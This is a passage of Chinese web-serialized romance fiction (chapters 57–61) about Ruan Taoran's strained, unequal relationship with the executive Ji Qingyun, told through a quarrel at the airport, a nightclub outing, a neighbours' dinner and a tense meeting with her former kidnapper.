一颗八克拉的沃顿绿几乎花完了阮陶然的额度的一大半,绿莹莹的色泽,毫无瑕疵,完美得让人移不开眼睛。 并没有在西班牙待很久,只是和唐逸卿妈妈吃了顿饭,然后休息了一晚上,就匆匆又飞了回来。 阮陶然也没想到,会在接机口,看见纪青云。 似乎是她一步踏出接机口的时候,纪青云的目光就落在了她的身上。 她走到了纪青云面前,笑容一如往常:“姐姐,你怎么来了?” 这个场景好熟悉,像是上次她从国外回江城,也是出人意料,纪青云出现在她的面前。 “你不希望我来是吗?”纪青云语气淡淡。 阮陶然眸子轻轻眨了眨,这个不希望,从何而来? “没有啊,我以为你还在港岛,至少要待几天……所以就没告诉你……”阮陶然解释说道。 “我让你去港岛,你不肯。” “唐逸卿让你陪她回西班牙,你就同意了,不是吗?” 纪青云的语气很淡,似乎像是没有发怒,但是又从字里行间品味出来,她心情不好。 阮陶然当然了解她,赶忙解释道:“我不是陪她去的,我去买宝石……” “那为什么没有刷我的卡?”纪青云问道。 阮陶然顿了一下,没有讲话,纪青云那张黑卡就躺在她的钱包里,但是她确实也没有用。 阮陶然抿了抿唇,似乎有一瞬间深深的呼吸,轻声道:“我不想用。” 不知为何,她现在有些厌恶她们之间金丝雀和金主这样的关系。 她现在有钱了,她不需要用纪青云的钱。 她想和纪青云谈恋爱,平等的恋爱关系…… 但这些话她不知道怎么说出口。 在纪总这里,她们的身份似乎永远是不对等的。 阮陶然觉得自己就拧巴在金丝雀和女朋友这两个词的缝隙里面,进退维谷,找不到自己的存身之处。 纪青云却似乎并不懂她话里的意思:“我需要你给我一个合理的解释。” “不接我的电话,私自跑去西班牙,不用我的卡,以及,和唐逸卿一起去游乐园。” “纪总,没想到你还有空来接我们啊,傅先生没有一起来吗?”唐逸卿笑吟吟的声音传递过来。 刚才她的手机忘在了飞机上,又回去找,就落后了阮陶然一会儿出来。 “多谢唐小姐陪然然买东西,我在外面备了车,送你回去。”纪青云的语气沉静而有礼貌。 然后伸手抓住了阮陶然的小臂:“跟我回家。” 她语气淡淡,不掺杂怒气,就像是个没有感情波动的人,但一字一句都是命令。 若是往常,阮陶然会跟在她后面乖乖走。 可此刻,阮陶然的脚步却是没动。 她也不知道自己从哪儿来的倔,从来没有这样的倔脾气,她看着纪青云,问道:“那纪总能给我个合理的解释吗?” “你的婚约,你和傅先生的关系,以及你们订婚当晚住在一起的事情。” 只是一句话说出来,阮陶然就觉得自己的眼眶微微有些酸,但是她忍住了,一滴泪都没有掉下来。 一双眸子,就这么眨也不眨地,与纪青云的眸子四目相对。 但她似乎高看了自己,盯着纪青云的眼睛,她只觉得自己心乱如麻。 她语气有些凌乱,连忙说道:“对不起,按照我们的关系……我不该问这些的……” 她用力挣开了纪青云的手,然后伸手拉住了唐逸卿的胳膊:“逸卿,我们……走吧。” 她快走两步,从纪青云身边擦肩而过,她觉得脚步再慢一些,她会在纪青云面前哭出来。 唐逸卿此刻的大脑有些超负荷,被拉出去好远,才小声说道:“你们……你们是这种关系啊?” “我一直以为你们是好朋友来着……” “抱歉我刚才说傅先生的话,不是想要你难过的。” 阮陶然吸了一口气,淡淡道:“没关系,这和你没关系。” 出租车上,唐逸卿也是从来没有过这么手足无措过,只是一张一张抽纸巾,递给阮陶然擦眼泪。 她不敢说话,倒是阮陶然豁达:“你想问什么,就问吧。” “我……”唐逸卿马上说道,“我不想问。” “谈恋爱这种事情,摩擦难免的。”唐逸卿这么小声劝说道。 “不是谈恋爱。”阮陶然语气很淡,像是已经把情绪都哭出去了,“我之前一直劝自己,他们是假婚约。” “但是,有婚约的时候,她没有解释过。” “去订婚的时候,她依旧没有解释过。” “港媒拍到他们订婚第二天早上从同一个酒店先后离开,她还是没有解释。” “我该遵守她的所有的命令,但是她不必对我有任何认真的态度。” “我们之间这叫做谈恋爱吗?” “你知道吗?今天是她第一次叫我然然,以前,总是连名带姓叫我阮陶然。” “我可能是真的疯了,顺从她,我应该能过得顺利一些。” “如果我心里没有别的想法的话,我可能真的甘心做个金丝雀……” “说到底,是我痴心妄想了。” 第58章 第 58 章 那手链居然不止一串吗?…… 隔着老远, 阮陶然就看见舞池里面的沈秋序。 平日里她总是优雅端庄,满绣的长旗袍,大家闺秀的模样, 今日穿了件红色的小短裙,上扬浮夸的眼线, 连头发丝上都打了亮片,在舞池里面跟着DJ的节奏跳得热情奔放。 阮陶然抬手和她打招呼,她也瞧见了阮陶然, 脚尖一转, 灵巧地从舞池之中钻出来。 刚刚跳得激烈, 微微气喘, 脸上透着淡淡的粉, 伸手就搂住了阮陶然的肩膀:“你可算是来了。” 她拦着人往卡座的方向走, 不满吐槽着:“冯珊珊这人不知道是不是脑子坏掉了。” “今天这样的欢乐局, 居然请甲方一起来。” “最讨厌她这样了, 一点趣味都没有,满脑子都是她的生意生意生意。” “冯姐姐有事业心,她聊她的, 也不妨碍你玩儿。”阮陶然笑着说道。 冯珊珊和沈秋序是完全不同的两种人,沈秋序大小姐脾气, 做事随心所欲,冯珊珊却几乎没什么脾气,圆滑处事。 也不知道这两个人, 怎么成了好朋友的。 “也是, 反正我是不会陪着她陪甲方了。”沈秋序应和着说道。 抬手捏了一下阮陶然的脸,语调微微上扬:“等会儿你陪我玩儿啊,我们不理那些没趣的人。” “好, 我陪你玩。”阮陶然也被大小姐缠得没有办法。 沈秋序连忙加了一句:“你现在,给我承诺,等会儿你陪我玩,不搭理那什么甲方。” 阮陶然眨了眨眼:“沈老师,我像是这么言而无信的人吗?” “不行,必须承诺。”沈秋序眼神格外认真。 “行行行,我等会儿应付一下,然后就来陪你玩,今晚上就陪你玩。”阮陶然立马给了承诺。 等到了卡座的位置,阮陶然就明白过来了,沈秋序为什么要她这个承诺。 因为坐在冯珊珊身边的甲方,赫然就是纪青云。 “纪总,我可和然然说好了,今晚她是我的。”沈秋序丝毫不惧惹恼了纪青云的样子。 阮陶然脸上的笑容顿了顿,颔首跟在座的人打了一圈招呼。 纪青云头没抬起,但她能清清楚楚听到,到她这儿的时候,阮陶然跳过去了。 她目光落在平板屏幕上,但脑子里却有一瞬间的空白。 她没有等到阮陶然打招呼,也没有等到阮陶然坐过来,她很自然地拉着沈秋序的手,坐到了另一边去。 冯珊珊人精一样的,眼睛在两个人之间转了转,就大概知道了什么情况。 难怪,纪青云屈尊降贵来参加这样闹哄哄的局。 在哪儿不能看财报啊,非得在这儿听着背后咚咚咚的音乐室。 冯珊珊很有眼力见,主动凑过去和阮陶然搭话:“然然,今天怎么没有和纪总一起来啊?” 阮陶然语气淡淡:“我从公司过来的。” “好了,你去陪你的甲方吧。”沈秋序轻哼一声,表达对冯珊珊的不满。 拿起阮陶然的包,丢给冯珊珊:“帮忙看好东西哦。” 看着阮陶然被沈秋序拉走了,冯珊珊有些无奈,但也已经验证了她的想法,真吵架了啊。 阮陶然脾气那么好的人,见谁都是一脸笑容,像是太阳花一样,居然会吵架? 几乎是一瞬间,冯珊珊就笃定了,肯定是纪总做事太过分。 奈何,纪总是甲方,这生意场上就没有指责甲方的道理。 冯珊珊也只能小声说道:“纪总,不好意思,秋序不懂规矩把人带走了……” “没事。”纪青云语气淡淡,从阮陶然刚才的反应来看,就算沈秋序没有把人拉走,她也不会坐过来的。 纪青云把无意识往下拉的财报,往上翻了一页,重新从刚才的地方看起来。 阮陶然也有些魂不守舍。 沈秋序看出来了,拿了杯酒放在她手里:“怎么?还惦记着你的纪总?她那么大人了,又不会跑。” “等回了家,有的是二人相处的空间,这会儿就别想她了。” “没有,我没有在想她。”阮陶然否认了。 人在撒谎的时候,会不自然拿起手里的水杯喝一口,阮陶然一下子就被辛辣的味道刺到了鼻腔。 看着她五官微微扭曲的样子,沈秋序笑起来:“算了算了,给你换个好喝的。” 沈秋序给她重新点了一杯,阮陶然对酒并不了解,只是品出来一股淡淡的荔枝甜味,像是气泡水果汁一样。 只是,她丝毫没有意识到,果味重的酒,不代表没有度数。 大半杯下去的时候,阮陶然眼前就有些微微的重影了。 跟了沈秋序在舞池里面蹦跶了一会儿,酒意没有发散出去,反而有些上头了。 沈秋序像是毫不知疲倦一样,她在玩的时候,简直是体能怪。 又蹦了十分钟,阮陶然体力也跟不上了,拉着沈秋序,说了几句话,跌跌撞撞从人群之中走出去。 外面正在落雨,一场秋雨一场寒,看到地面上的落叶,阮陶然才意识到,江城已经入秋了。 距离她上次在机场,毅然决然从纪青云面前不回头地走过去,过了将近一个月。 这一个月的时间,她忙着在灵南集团当吉祥物,忙着青年设计师大赛的事情,倒是……好像也没有多少时间想到纪青云。 屋檐外面的雨斜斜落进来,阮陶然吹着冷风,酒意涌上来,只觉得有些恶心。 低头轻轻吐了两下,但只是胃口翻涌,什么都没吐出来。 背后忽然附上了轻轻的力度,在她的背上轻轻拍了两下,然后递了餐巾纸过来。 阮陶然接过来,擦了一下唇角,道:“谢谢。” “不用谢。”淡淡的声音,却无比熟悉,阮陶然一下子僵住,然后转过头来,四目相对,没有说话。 “你酒量不好,还是少喝点。”纪青云眉头似乎微微蹙起来。 “嗯。”阮陶然点了点头,不置可否。 两个人就这么看着屋檐下的雨,门外经过的往来的行人,一片暗色没有星星的夜空,沉默了好一会儿。 最终是纪青云开了口。 “那天我和傅长宁没有住在一起。” “他送我回去,却没有离开,自己在酒店开了一间房。” “所以拍到我们先后离开。” “我已经和傅长宁说清楚,并且把港媒那边的报道全压下去了。” “我们的婚约是假的,我只是想暂时稳住爷爷这边……” 阮陶然听她说完了,喝了酒的脑子里依然是迷迷糊糊的状态。 还未来得及说什么,沈秋序从里面走出来了:“然然,你在这儿啊,走,我们去玩骰子去。” 阮陶然被她拉着往里面走,但只走了两步,另一只手臂被纪青云拉住了。 阮陶然有些懵懵地看过来。 那双浅琉璃色的眸子盯着她,恍惚没有波动,只有淡淡的压迫感。 “阮陶然,回家。”纪青云只说了这五个字。 那天阮陶然在机场的问题,她已经全部回答完了,她觉得阮陶然没有继续闹下去的必要了。 可阮陶然的脚步只是微微顿了一下,然后手臂一拧,从她的手里挣脱出来。 纪青云有些微微怔住,这是她第二次被阮陶然抛下了。 阮陶然也不知道自己在心里想什么,乱懵懵一片的脑子转不过来。 她只是脑海里回响那五个字——阮陶然,回家。 命令式的语气,一如既往,她一声令下,她就得诚惶诚恐。 冯珊珊出来的时候,正好看到阮陶然甩开纪青云的手的一幕。 她想装作什么都没看见,转头就走,但这个时候纪青云的目光已经和她对视了、 她只好走过来,笑着说道:“她就是喝醉了,情侣之间吵架时很正常的……” “那个……”冯珊珊试探着说道,“多哄两次,就好了。” “怎么哄?”纪青云似乎触及到了知识盲区。 “您刚才……没哄吗?”冯珊珊的脑子也滞涩了一下。 她还以为,刚才已经哄了一遍没有哄好。 冯珊珊只好硬着头皮继续教学:“就是说你需要她,你离不开她,你想要她回来,之类的软话。” 纪青云眉间忍不住轻轻蹙了蹙。 冯珊珊一下子就明白过来了,纪总从来没说过这样的话。 也是,她在外面都是一副女王的样子,哪儿有服软说过我需要你这样的话。 冯珊珊只好换了个方式:“那就给她买她喜欢的东西,她想要的东西,让她意识到你的用心。” 然后,冯珊珊就看到,纪总的眉头又轻轻蹙了一下。 好的,她明白阮陶然为什么生气了。 纪总这恋爱谈的,前无古人后无来者。 一起住这么久了,都不知道阮陶然到底喜欢什么东西。 “纪总,你也在啊?”带着笑意的声音响起,唐逸卿拎着摩托车头盔从外面走进来。 走到屋檐下,拍了拍衣服上的水珠,金发碧眼,笑容灿烂:“好巧。” “我来接然然。”唐逸卿语气很自然,就像是在说日常司空见惯的话。 “她并没有和你住在一起。”纪青云淡淡说道。 纪青云很在意,当然早就查清楚了。 那天跟着唐逸卿走之后,阮陶然没有去唐家住,也没有回自己家。 进公司之后,之前阮陶然父母名下的房产有一部分成功转移到阮陶然名下,她选了套离公司近的住进去了。 阮陶然还是在意她的,她并不喜欢唐逸卿,和唐逸卿之间没有超越友谊以上的情感。 纪青云心里稍安。 “没办法,她发消息让我来接。”唐逸卿也是有些无奈的样子,问道,“她是在里面吧?我进去找她。” 唐逸卿脚步又轻又快地走进去,纪青云目色掠过去,然后一瞬间定住。 她看到了唐逸卿双肩包上的挂坠——一条蓝色的水晶手链。 和她那条除了颜色不同,款式几乎一模一样,印着阮陶然的名字缩写。 纪青云的心里忍不住咯噔一下。 她稍稍安定的心一下子就乱了。 那手链居然不止一串吗? 第59章 第 59 章 阮陶然一口都没尝 阮陶然早上醒的时候, 脑袋都还是晕晕沉沉的疼,不胜酒力还喝了很多的下场就是宿醉的后遗症。 到厨房觅食的时候,就见到唐逸卿留下来的便签纸——给你买了早餐, 微波炉叮一下。 阮陶然不会做饭,但是微波炉叮一下这种简单的操作还是会的。 泡了包即食麦片, 叮了个饭团,早餐就算是这么应付过去了。 比赛的设计稿已经交上去了,今天是周六, 不用上班, 没什么工作要做。 阮陶然吃完饭就窝在沙发上看泡沫偶像剧。 只是看着看着, 总忍不住出神。 偶像剧里面的霸总说:“把所有的衣服全都包起来。” 她就忍不住想起来, 之前在奥克兰买衣服的时候, 纪青云也是这样的语气。 艺术来源于生活。 然后, 她就换了个仙侠剧看, 里面的仙尊说:“我不喜欢在任何人面前暴露我的脆弱。” 阮陶然就又忍不住想起纪青云, 昨晚下雨了,不过秋雨点点,应该没有打雷。 于是, 阮陶然干脆换了个科幻片看。 然后就看到经历了宇宙危机之后,主角坐在山上看太阳再次升起, 生机勃勃的画面。 她又忍不住想起来……那次在奥克兰和纪青云看日出…… 这鬼电视,好像和她较劲,怎么都和纪青云有关。 于是, 阮陶然伸手就关了电视, 抬头看向外面的天色。 好久没有闲下来了,这一下子闲下来,还真的有些不习惯。 没有吃午饭的兴致, 干脆回屋里继续补觉了。 等到再醒过来的时候,已经是夕阳落下的时候。 这一觉睡得并不好,做了各种光怪陆离的梦,最后被手机铃声惊醒的时候,出了一身的冷汗。 电话是林晓晓打过来的,她说已经到了门口了。 林晓晓换了鞋走进来,环顾了一圈,有些不敢置信:“这就是你家啊?” “怎么了?看不上?”阮陶然笑着说道。 “不愧是豪宅,看起来就好宽敞。”林晓晓绕着客厅走了一圈,“这儿,可以两个人一起练瑜伽的。” 阮陶然拍了拍她的肩膀:“放心,苟富贵,勿相忘,我记得你的。” “给你的房间都准备好了,你随时可以来住。” 这只是套面积稍微大一些的四居室,但对于她们之前在国外的合租生活来说,的确是豪宅了。 “哎——”林晓晓叹了口气,“我可能就没这个福气咯。” “懂,你放心不下你妈。我知道的。”阮陶然和林晓晓相处这么久的闺蜜,当然知道她的心思。 “放心,我毕业的事情基本上搞完了,以后应该就回国发展了,我们见面的机会多着呢。” “不对……”林晓晓左右看了好几圈,“你确定你平时就住这儿?” “对啊,有什么问题吗?”阮陶然不明白她为何如此发问。 “不像是你的风格,像是……”林晓晓思考了一下,认真说道,“样板间,死气沉沉的。” 硬装软装一应俱全,但却少了装饰,墙壁上光溜溜的,沙发上连个抱枕都没有,到处都空空荡荡的。 这可不是阮陶然的风格,她是个很有审美意趣的人,在哪儿都能把生活过出来花来。 “我最近忙,没时间搞这些。”阮陶然随口给自己找了个借口。 她也意识到了,自己住过来以后,并没有想过怎么布置装饰。 就仿佛……没有把这里当家一样。 阮陶然赶忙转移了话题,翻了翻林晓晓拎过来的东西:“今晚林大厨要做什么给我吃?” 提到这个,林晓晓就兴致勃勃了:“我记得你喜欢糖醋口,今晚就做菠萝咕噜肉。” “还有你心心念念的话梅小排。” “再清炒一个莴苣。” “刚好三菜一汤,我们两个人也够了。” “三个菜是够了,汤呢?”阮陶然问道。 “这个——”林晓晓从袋子里拎出来两个保温桶,“我妈亲手出品,虫草花鸡汤,绝对精品。” “好,那我就等着吃了啊。”阮陶然并不和林晓晓客气。 她是个厨房杀手,在国外全靠着林晓晓活下来的。 林晓晓一手好厨艺,师承她的妈妈,做的菜的味道堪比饭店大厨。 林晓晓这一顿是为了谢阮陶然,当时她妈妈心脏病的时候,全靠阮陶然在国内帮忙照顾。 林晓晓指了指这两个保温桶:“一个,是我们俩等会儿喝的。” “还有一个,是我妈托你交给顾医生的。” “我觉得大晚上打扰人家只为了一桶汤不太好,但是又拦不住她老人家的好意,先放着吧,我们吃完饭再说。” 林晓晓做饭最讨厌别人给她打下手,用林大厨的话来说就是——手笨脚笨,影响我做菜的节奏。 阮陶然中午就没吃饭,这会儿饿了,就拿了个苹果,靠在厨房门边上,一边啃着一边和林晓晓聊天。 林晓晓放在餐厅桌面上的手机一直在响。 阮陶然听到了好几次,问道:“你手机在响,不用管吗?” “你看一眼,是谁的消息?”林晓晓问道。 她们两个人之间虽然没有秘密,但是阮陶然也很有分寸,没有点进去看,只看了眼发消息的人名。 一个很奇怪的文名——嗑一口cp。 阮陶然就念出来了,林晓晓头也不回道:“没事儿,网友,先放着吧。” “你还交网友啊?”阮陶然把手机放回去,漫不经心问了一句。 “看小说找粮的时候认识的,我们俩的口味简直是一模一样,我最好的书搭子。” “她现在给我发消息,大概是在吐槽自己老板了。” “她老板怎么了?”阮陶然顺着她的话题,自然而然聊下去。 “之前甜甜蜜蜜谈恋爱,她天天在我这里土拨鼠尖叫,说是每天近距离嗑CP,可开心了。” “最近好像是闹矛盾吧,她老板直接化身工作狂魔,整个人的气压都降低了。” “她天天加班,自然也一肚子怨气,就跟我吐槽了。” “偶像剧一样……”阮陶然忍不住轻轻笑了笑。 阮陶然咬了一口手里的苹果,含糊不清说道:“这世界上哪儿有霸总是恋爱脑,只有偶像剧里有。” “现实里的霸总,都是清醒理智的动物,哪儿会为了个恋爱就要死要活的?” 林晓晓敏感意识到,这个话题有些不对劲了,连忙道:“好了好了,不说这个了,好没意思的话题。” “你还记得之前那个灭绝师太教授吗?前几天我去参加她的讲座……” 话题自然而然就被林晓晓带走了。 阮陶然眸子里的落寞也是一闪而逝,就被新的话题带走了。 三菜一汤,两个人都吃撑了,最后剩下三块小排,为了谁吃两块还来了一场五局三胜的剪刀石头布。 林晓晓好事做尽,最后甚至是把厨房都收拾干净才走的。 林晓晓走了之后,屋子里就又恢复了一片安静。 阮陶然看到桌子上那个保温桶,想了又想,决定还是问问,好歹是老人家的意思。 她没给顾寄欢打电话,只是发了条消息。 想着要是顾寄欢在做手术,看不到消息也就算了。 结果顾寄欢秒回了,她说——[可以啊,麻烦你送来吧,我在家里。] 在家里……阮陶然本来做好的准备是送到医院去…… 算了,送过去吧。 阮陶然也没有叫司机,她没有随时随地喊司机的习惯,而是打了个车。 车到了隆华天域的门口就进不去了,阮陶然礼貌道谢,然后拎着保温桶下车了。 差不多一个月没有回来了,路边的树有了些微微的秋意,别的一切如故。 走到18号门口的时候,阮陶然也看到了17号。 灯火通明,但因为家里有管家团队在,所以并不能判断出纪青云在不在。 开门的是顾寄欢,她穿了件休闲的亚麻色针织衫,长卷发如瀑布一样垂落下来,笑得眉目灿烂。 被顾寄欢让进来,坐到沙发上的时候,阮陶然看了一圈道:“陆总不在家吗?” “在呢,厨房。”顾寄欢指了指厨房的方向。 平日里在外面矜冷清贵的小陆总,拿了个锅铲,围着个粉色的兔子围裙,好似在和锅里面的食物作斗争。 似乎是听到这边的声音,抬起手来跟阮陶然打了个招呼。 “陆总还会做饭啊?”阮陶然有些意外。 “不会。”顾寄欢忍不住吐槽了一句,“煎个蛋一不小心就会煎糊的水平。” “得照着菜谱才能做饭,但不一定好吃。” “跟我抱怨说,菜谱都不靠谱,各个都说适量,她又不知道适量是多少,有时候多了有时候就少了。” “做得不好还非要做,最开始只是早餐,现在发展到晚餐了。” “之前吃了半年糊了的煎蛋,后面也不知道能吃到什么奇奇怪怪的料理。” 顾寄欢说的是吐槽的话,但忍不住眉飞色舞,眼睛亮晶晶的,阮陶然从里面读到两个字——幸福。 说完,她很自然地就顺着说道:“她说今晚学了新菜呢,你留下来一起吃?” “我吃过了。”阮陶然立刻就站起来了,“不打扰你们了,把汤送到,我的任务就完成了。” “别走啊,来都来了,新菜要一起尝。”顾寄欢眼睛一眨,“怎么,不拿我当朋友?” 阮陶然:“……”她明白了,顾医生就是想找个陪她一起垫背的。 或许,还不止她一个。 因为开饭的时候,纪青云也来了。 纪青云看到阮陶然,似乎也微微怔了一下。 顾寄欢冲她眨了眨眼睛,纪青云心下了然,这是顾医生在给她创造机会。 这段时间顾寄欢都没在小区偶遇阮陶然,也是旁敲侧击知道了一些情况。 难怪,平日里没什么私下往来,忽然喊她来吃饭。 顾寄欢注意到纪青云拎着的饭盒:“纪总带了自己做的菜来啊?” “我没有这个厨艺。”纪青云递给顾寄欢,说道,“想着不能空手来,带了瓶酒,带了阿姨的拿手菜。” 陆时年今晚的大菜是番茄土豆炖牛腩,看上去卖相……就有些黑黑的。 顾寄欢先尝了一口,看着阮陶然和纪青云:“别看着啊,也尝尝。” 这个面子,怎么也要给的。 阮陶然尝了一口,做好了很难吃的准备,但……还好? 只是盐量有些少,番茄的味道不是很入味,肉有些柴……跟心理预期比起来是真的还好。 于是,阮陶然毫不吝啬夸奖:“陆总手艺很好。” “那就多吃点。”陆时年给阮陶然盛了半碗饭。 阮陶然:“……”现在说吃不下,岂不是有点刚才的夸奖是撒谎的嫌疑。 最后,为了礼貌,阮陶然吃了不少番茄牛腩,半碗饭也都吃完了。 纪青云的眸子却忍不住暗了暗…… 她带来的菜,阮陶然一口都没尝。 第60章 第 60 章 但她不想回来了 两个人是一起从顾寄欢和陆时年家里出来的。 纪青云这次没说话, 她从刚才阮陶然的表现出来大致能判断出来,此刻让阮陶然跟她回去,阮陶然也是不肯的。 阮陶然淡淡说了句:“纪总, 我先走了。” 然后就和纪青云背道而驰,朝着小区的大门走去。 纪青云脚步定了一下, 望着阮陶然的背景看了大概三秒,睫羽压下去,转回头朝着家的方向走。 阮陶然有些心神不定, 直走到路口, 才趁着转弯的功夫, 小心看了一眼身后。 只看到纪青云的背景, 她没有等她回头。 不知道为什么, 阮陶然心里竟然有些淡淡的失落。 夜已经深了, 周围一片静谧, 吃的有些撑, 阮陶然走得也不快。 低头用手机给林晓晓发了两条消息,告诉她鸡汤已经送到顾医生手里,让她转告给伯母放心。 再抬头的时候, 就到了小区门口,然后正看到停在门口的车, 车窗落下来。 阮陶然的目光看过去的时候,车里的人正好也看过来,和阮陶然四目相对。 阮陶然心里咯噔一下, 攥着手机的指尖微微一紧, 第一反应就是,转头就跑。 车里的人是孙绍祖,孙家到底还是有能量, 没有关他多久,现在已经放出来了。 阮陶然忍不住想起来那天,被捆在那个废弃库房时候的场景。 脸上的血色一下子白下去,心跳都在扑通扑通地跳个不停。 理智来说,这个环境是安全的,隆华天域的安保情况很好,此刻在门卫保安旁边,孙绍祖想要做什么也不可能。 但阮陶然此刻的恐惧占据了上风,她的第一反应就是跑,就是远离孙绍祖。 闸门抬起来,孙绍祖的车开进来,车灯照在阮陶然的身上。 一瞬间从骨子里散发出来的冷,占据了所有的理智。 阮陶然一个趔趄,直接摔在地上,就连手里的手机都滚到了草丛里面,不知所踪。 “然然,然然?”语气略微着急的喊声在她耳朵边上响起来。 阮陶然抬起头来,对上纪青云的脸,她不是回家了?她怎么在这里? 纪青云眸色微微有些冷,蹲下身来,一手护着阮陶然,看向那渐渐靠近过来的车。 车缓缓行驶过来,在他们的面前停下来,车窗落下来。 副驾驶是阮如月的脸,她轻笑一声:“跑什么?做了什么亏心事吗?” 阮陶然指尖微微一紧,攥住了纪青云的衣袖,缓缓舒了口气,压住了有些不安的情绪。 抬起头来,语气已经恢复了一片平静:“我没有做亏心事,现在亏心的人可不是我。” “不是你?”阮如月语气扬了扬,嗤笑一声,“不是你陷害阿祖?不是你耍手段?” “我早就跟爸爸说过,你不是什么老实人,他不听,现在就遭报应了。” “为了污蔑阿祖,连唐教授都能不分黑白,你是给了他钱,还是陪他……” “阮小姐,请注意你的措辞。”纪青云冷冷的话打断了阮如月的声音。 “阿祖,你看她们……”阮如月马上转头看向主驾驶的孙绍祖。 “好了,你少生些事吧。”孙绍祖啧了一声,语气有些不耐烦。 “我是为了你啊,不是你说被她们冤枉的吗?” “我肚子里还有你的孩子,你怎么这么对我说话的?”阮如月对他的态度很不满意。 “阮陶然……”阮如月转过头来,意思是要对阮陶然不依不饶。 纪青云抬眸看过去,浅琉璃色的眸子之中一瞬之间有些冷冷的压迫感,阮如月不知道为什么,后面的话硬生生没有说出口。 “阮小姐,你说的每句话我都听到了,我会让律师起诉你侮辱诽谤。”纪青云的声音冷而平静。 “还有,孙少是否是被冤枉的,自己心里最是清楚,证据都摆在法庭上了,阮小姐不会没有看过吧?” “你们……”阮如月马上开口说道。 “好了,够了。”孙绍祖抬手关了车窗,一脚油门往前走了。 “你怎么怕了啊?”阮如月气得轻哼了一声,然后意识到什么,“她说的证据,是什么?你不会真的绑架阮陶然?” “没有,我说了没有,那天我路过英雄救美,她污蔑我的。”孙绍祖语气淡淡。 “说了让你少操心,你顾好自己的身体,顾好肚子里的孩子,这些就别操心了。”孙绍祖把这个话题含糊带过去。 车在阮家门口停下来,阮如月对着镜子整理了一下自己精致的妆容。 孙绍祖略有些不耐烦,点了支烟:“不就是回来拿东西吗?至于这样?” “当然要这样。”阮如月补了补口红,对着镜子整理了一下头发丝。 现在阮龙成回来之后,公司进不去,股份也没有,还被网上骂是一事无成的耀祖,是最狼狈的时候。 她现在可是孙太太,她当然要耀武扬威地回去,让家里的人都看看她有多神气。 当然要狠狠地在阮龙成脸上踩一脚。 孙绍祖抽完了一支烟,又等了一会儿,她才化完妆,慢悠悠下了车,笑着挽住孙绍祖的胳膊。 纪青云能感觉到,阮陶然有些微微颤抖,尽管她表现出来语气如常,但还是害怕的。 不可能不害怕,被人捆在废弃仓库里,那种黑暗,那种未知的恐惧,会在心里永远留下不可磨灭的阴影。 纪青云没有催促,等着她差不多缓过来了些,才问道:“还好吗?” “还好,谢谢。”阮陶然睫羽微微颤抖,想要推开纪青云站起来。 脚腕接触到地面,一阵刺痛,疼得她倒吸了口凉气。 “怎么了?”纪青云马上问道。 “没事。”阮陶然下意识否认了。 然后朝着大门口的方向走了两步,这两步走得一瘸一拐的,只要纪青云不是瞎子,都能看得出来问题出在哪儿。 纪青云快走两步,攥住了她的小臂,轻声道:“先回去处理一下,行吗?” 阮陶然还没来得及拒绝,纪青云微微俯身,手绕过她的膝弯,直接打横把人抱了起来。 眼前天旋地转,阮陶然下意识就伸手搂紧了纪青云的脖颈,怕自己摔下去。 路灯的光线从上方打落下来,她看到纪青云的五官,一部分笼罩在一片阴影之中。 “放我下来。”阮陶然坚持说道。 “你如果能走,我就放你下来。”纪青云语气有些无奈。 “等会儿我让司机送你走。”纪青云只说了这句话,稳稳地抱着阮陶然往家的方向走去。 纪青云平日健身习武,抱起来阮陶然小小一只还是很轻松的。 “手机……”阮陶然小声说道。 “等会儿让管家来找。”纪青云脚步没停,很稳的怀抱,浸透着纪青云身上幽冷的香味。 不过才一会儿的功夫,脚腕就有些肿胀起来。 纪青云平日里健身和练拳的时候扭伤是家常便饭,也判断出来应该是没有伤到骨头。 把人放在沙发上,然后取了冰袋轻轻压在她的脚腕上,不放心嘱咐了一句:“如果弄疼你了,要告诉我。” 微微冰凉的温度压上来,的确是有股刺激的疼,阮陶然下意识攥紧了手指,就觉得压上来的力度轻了一些。 纪撞撞爬上沙发,钻到阮陶然怀里,轻轻喵喵叫地蹭它。 “没眼色的小家伙。”纪青云拎起来它的后脖颈,要把它扔出去。 阮陶然伸手拦住了,把它接了过来,在怀里揉了揉:“它很乖的。” 纪青云沉默了一下,说道:“你不在的时候,我没有虐待它。” 瞧它这副腻腻乎乎往阮陶然怀里钻的样子,就像是要告她的状一样。 “嗯,你养它,我很放心。”阮陶然缓缓说道。 “可它不想单亲。”纪青云说完这句话,两个人都沉默了,纪青云意识到自己说错了,连忙道,“算了,你就当没听见。” 纪青云的手机响了,阮陶然伸手接过冰袋,道:“没关系,我自己可以的。” 纪青云又看了一眼她的脸色,确认还好,才起身拿起桌上的电话接起来。 她走出去了几步,走到远离阮陶然的落地窗边上,讲电话的声音很低,阮陶然的位置听不到她的声音。 阮陶然一边冰敷着,一边环顾了一圈这个家,看起来好像没什么变化。 日常都是管家团队在打理,一切如旧,甚至桌面上还有新鲜的花,和她在家的时候一模一样。 管家从外面回来,手里拿着阮陶然的手机:“阮小姐,找到了。” 手机屏幕裂了,但是触屏还是灵敏的,阮陶然说了声:“谢谢。” 似乎是发现刚才阮陶然在看桌子上的花。 管家忍不住告状:“撞撞太调皮了,桌上的花瓶总是被它扒下来,已经碎了好几个花瓶了。” “不过,纪总说,客厅里的花要常换常新,打了花瓶就要买新的。” “辛苦了。”阮陶然唇角微微扬起,微笑着颔首。 然后注意力就放在了手机屏幕上,手机丢出去的时候,她在和林晓晓发消息,解锁就是和林晓晓的聊天框。 林晓晓:[我妈知道了,她说谢谢你,下次请你来我家吃饭。] 林晓晓:[打到车了吗?] 林晓晓:[到家跟我报个平安。] 林晓晓:[怎么没消息了?] 阮陶然给她回消息:[没事,已经到家了。] [没回去,在纪青云这边。] 林晓晓的消息秒回来了:[你们和好了?纪总找你和好的?] 阮陶然:[她有和好的意思,但是应该不会。] 林晓晓:[为什么?] 阮陶然:[没什么。] 她没多说。 阮陶然能感觉到纪青云这段时间的挽留,想让她回家的努力。 纪总这样占有欲很强的人,家里养的小玩意儿跑了,肯定是要着急找的。 但她不想回来了,她不想要不平等的关系,她会觉得心里憋屈。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 第 61 章 她是最后一个知情的人 纪青云接完这个电话, 回头沙发上的人已经不见了,那两个冰袋被丢在桌上,药油也没有带走。 “阮小姐呢?”纪青云问管家。 “她刚刚走。”管家意识到, 这两位似乎在吵架,没敢多说什么。 纪青云下意识往大门的方向追过去, 手按在门锁上的时候,又停住了。 目色微微变换,然后回到了客厅的落地窗前, 一把拉开了窗帘, 正看到在门口上车的阮陶然。 